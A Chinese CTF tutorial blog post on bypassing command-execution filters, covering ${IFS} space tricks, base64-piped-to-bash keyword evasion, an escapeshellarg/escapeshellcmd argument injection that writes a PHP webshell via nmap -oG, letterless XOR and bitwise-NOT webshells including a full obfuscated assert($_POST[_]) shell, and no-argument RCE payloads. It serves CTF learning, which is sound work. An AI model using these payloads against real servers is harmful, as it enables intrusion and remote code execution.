R0ot's Blog

分享代码,记录生活

0%

命令执行的绕过技巧

想要进行绕过的话,需要根据不同的系统的特性采用不同的方式,在ctf中还是以Linux居多

Linux

shell

Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言,Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器)

sh(全称 Bourne Shell): 是UNIX最初使用的 shell,而且在每种 UNIX 上都可以使用。Bourne Shell 在 shell 编程方面相当优秀,但在处理与用户的交互方面做得不如其他几种 shell。

bash(全称 Bourne Again Shell): LinuxOS 默认的,它是 Bourne Shell 的扩展。与BourneShell 完全兼容,并且在 Bourne Shell 的基础上增加了很多特性。可以提供命令补全,命令编辑和命令历史等功能。它还包含了很多 C Shell 和 Korn Shell 中的优点,有灵活和强大的编辑接口,同时又很友好的用户界面。
我们常用(默认)的就是bash(bourne again shell)

shell变量

先来介绍一个概念叫做shell变量,shell变量是由shell程序设置的特殊变量,定义变量时,变量名不加美元符号$,使用变量时,需要加上美元符号
变量名外面的花括号是可选的.加花括号是为了帮助解释器识别变量的边界,如${IFS}

空格绕过

  1. IFS绕过
    原理:$IFS(Internal Filed Separator)内部域分隔符,是一个shell变量,默认是空格、Tab键、换行符,可以代替空格使用
    1
    2
    3
    $IFS   //这个一般用不了,因为空格过滤了的情况下,无法区分边界  
    ${IFS} //花括号{}用于区分边界
    $IFS$1 //后面一个变量用于区分边界,$1改成$加其他数字貌似都行
  2. 其他绕过
    1
    2
    3
    <   // cmd<file 使cmd命令从file读入,cat的时候可以代替空格
    <> // cmd<>file 以读写模式把文件file重定向到输入,cat的时候可以代替空格
    {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

关键词绕过

内联执行(反引号)

  1. 原理
    此处的反引号是Linux命令里的反引号,和php危险函数里的不同,效果却差不多
    反引号的功能是命令替换,在反引号(``)中的内容通常是可执行的命令,程序会优先执行反引号中的内容,并使用运行结果替换掉反引号处的内容。
    例如:cat `ls`,会先执行ls查询,再将所有文件进行一个cat

变量替换

  1. 原理
    这里的变量是shell变量,不是php的变量,利用命令的拼接,变量的拼接,达到关键词被替换的效果
    例如:a=g;cat fla$a.php 或是a=fl;b=ag;cat $a$b.php //变量定义的时候不加$,使用的时候加
  2. 注意
    需要稍微注意的是,命令之间的连接符不能用||,因为一旦前面的命令为真后,后面的命令不再执行

编码绕过

  1. 原理
    利用Linux里的base64命令,可以进行base64的编码(base64 -d代表解码),先将关键字编码好,再利用管道符和base64 -d进行解码实现对关键字的绕过
  2. 先讲编码
    echo 待编码字符 |base64base64 <<< "待编码字符”
  3. 解码绕过(重点)
    echo 编码后字符 |base64 -d |bash(或是sh)
    例子:echo Y2F0IGZsYWcucGhw|base64 -d|bash=cat flag.php
    利用管道符将解码后的命令输入到bash(或sh),这样命令才会被识别成命令执行,不然只会输出解码后的字符串

其他的一些绕过

1
2
3
4
\   //反斜线
"" //空字符串
'' //空字符串
适用于过滤不严格的情况,待补充

例如 ls被过滤的情况下可以使用l\s,这个命令在linux中是可以被识别为ls的,但是如果过滤不严格的情况下就可以绕过过滤,类似的还有l''s,l""s

escapeshellarg()和escapeshellcmd()

buuctf例题连接[BUUCTF 2018]Online Tool

  1. escapeshellarg()
    这个函数通过将输入的内容两端添加单引号包裹,这样以确保能够直接将一个字符串传入shell函数,使原本会被理解成参数选项的部分被理解成命令内容,确保不会参数参数注入漏洞
    如果想通过输入单引号进行闭合也是不可行的,此函数会将单引号'进行转义后再用单引号包裹'\''
    ps:参数注入漏洞是指,在执行命令的时候,用户控制了命令中的某个参数,并通过一些危险的参数功能,达成攻击的目的。
  2. escapeshellcmd()
    会在这些字符(& # ; | * ? ~ < > ^ () [] {} $ \ , \x0A 和 \xFF 反引号 )前添加反斜杠\进行转义,但单引号'和双引号"仅在不配对儿的时候被转义。在Windows平台上,所有这些字符加上 % 和 ! 字符都会被空格代替
  3. 原理
    这两个函数都是用来转义用的,前者转义参数,后者转义命令 escapeshellarg() -> escapeshellcmd()这样的流程来处理输入,会导致单引号配对错误,从而导致escapeshellarg()失效,参数参数注入漏洞
    主要是因为第二个函数转义了第一个函数的反斜杠,贴一个别人的例子
    1
    2
    3
    4
    5
    6
    7
    8
    传入参数是:172.17.0.2' -v -d a=1
    首先经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',
    即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
    再经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',
    这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
    最后执行的命令是curl '172.17.0.2'\\'' -v -da=1\',
    由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。
    所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1’。
  4. nmap参数注入
    nmap有个危险参数-oG可以将代码与命令写到文件中,
    比如nmap <?php @eval($_POST["a"]);?> -oG shell.php,就是将一句话木马写在了shell.php里内了。
  5. 注意
    在这题中一句话木马里的参数要用双引号"a"包裹,因为escapeshellarg()会对单引号进行转义导致问题.最后的payload为
    1
    ?host=' <?php @eval($_POST["a"]);?> -oG shell.php '
    注意有两个单引号,且中间有空格,不然转义后的反斜杠会导致文件名变成php\

无字母getshell

代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、”system”、”file_put_contents”、”call_user_func” 等危险函数然后动态执行即可。
本质上就是对一下代码的绕过

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

菜鸟教程位运算

异或构造

关键字符^

  1. python脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import re
    import requests
    import urllib
    a=[]
    ans1=""
    ans2=""
    myxor="phpinfo" # 想要异或编码的字符
    for i in range(0,256): # 全部字符的范围
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]',c,re.I) # 设置过滤条件
    if(tmp):
    continue
    # 当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
    else:
    a.append(c)
    # 在数组中加入未被系统过滤掉的字符
    def test(x):
    global ans1 # 引用全局变量ans1,使得在局部对其进行更改时不会报错
    global ans2 # 引用全局变量ans2,使得在局部对其进行更改时不会报错
    for i in a: # 遍历未被过滤的字符
    for j in a: # 在上个循环的条件下遍历未被过滤的字符
    if(ord(i)^ord(j)==ord(x)): # 转化为数字进行异或比较
    ans1+=i # 将每一个右边的字符储存
    #ans1+='%'+hex(ord(i))[2:] 写法2
    ans2+=j # 将每一个左边的字符储存
    #ans2+='%'+hex(ord(j))[2:] 写法2
    return
    for m in myxor: # 遍历需要编码的字符
    test(m) # 使用函数的原因是为了跳出多重循环
    print("('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')")
    # urllib.request.quote()将字符串转换为URL编码
    # print('(('+ans1+')^('+ans2+'))') 写法2
    已经确定了一个异或字符oxff(可修改),异或后进行URL编码,这样在引号被过滤时也可以使用
    1
    2
    3
    4
    5
    6
    7
    8
    9
    str = 'phpinfo'  #需要异或编码的函数
    myhex=0xff #其中一个十六进制数
    hexstr='%ff' #url编码后的0xff
    encoded_str = ''
    encoded_hex = ''
    for i in str:
    encoded_str += '%' + hex(ord(i) ^ myhex)[2:] #做了一个物理切割转化成url编码
    encoded_hex +=hexstr
    print('(('+encoded_str+')^('+encoded_hex+'))')
  2. 注意
    php的异或可以用(' '^' ')或是(()^())(写法2)的形式进行多个字符的异或,但是因为字符串不能直接异或,先转化为16进制,外面加个括号是为了拼接可变函数如(phpinfo)()才可以执行,但是别忘记最后的;不能少
    如果括号,引号都被过滤了的话,也许可以考虑一下执行<?= include /flag ?>类似于这样来读取关键文件信息

取反绕过

过滤的不多用php脚本跑一下
关键字符~

1
2
<?php
echo '(~'.urlencode(~'phpinfo').')';

过滤了大部分字符,用汉字取反的一句话木马,密码_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);//assert($_POST[_])注释记得删

自增绕过

无参数rce

无参数rce的本质是对如下代码的绕过

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

这个正则限制了传入的参数只能是类似于下面这样的形式(套娃模式)

1
2
3
a();
a(b());
a(b(c()))

关键在于

1
2
localeconv() //返回一个包含本地数字及货币格式信息的数组。
current() //输出数组中的当前元素的值

session_id绕过

session_id()的作用就是获取当前会话的ID,也就是cookie中的phpsession的值,通过构造PHPSESSID为恶意代码执行命令
需要注意的一点是,phpsession中只允许出现 a-z A-Z 0-9 , - 等字符,所以不能直接插入恶意代码,需要先将其进行16进制编码后再插入。
payload
hex2bin(session_id(session_start()));
cookie:PHPSESSID=编码后的代码

其实本质就是session_id被替换成了PHPSESSID中的字符,好处是,这样一来可以转移矛盾,比如参数cmd实行了严格的过滤,那我们可以试着使用这个,最后命令写在cookie中,就不会被过滤了

一句话木马绕过

额,也没什么好说的,在可以达成命令执行的地方,写入一个一句话木马,好处是,新的参数可以不受原来waf的限制,也可以连接蚁剑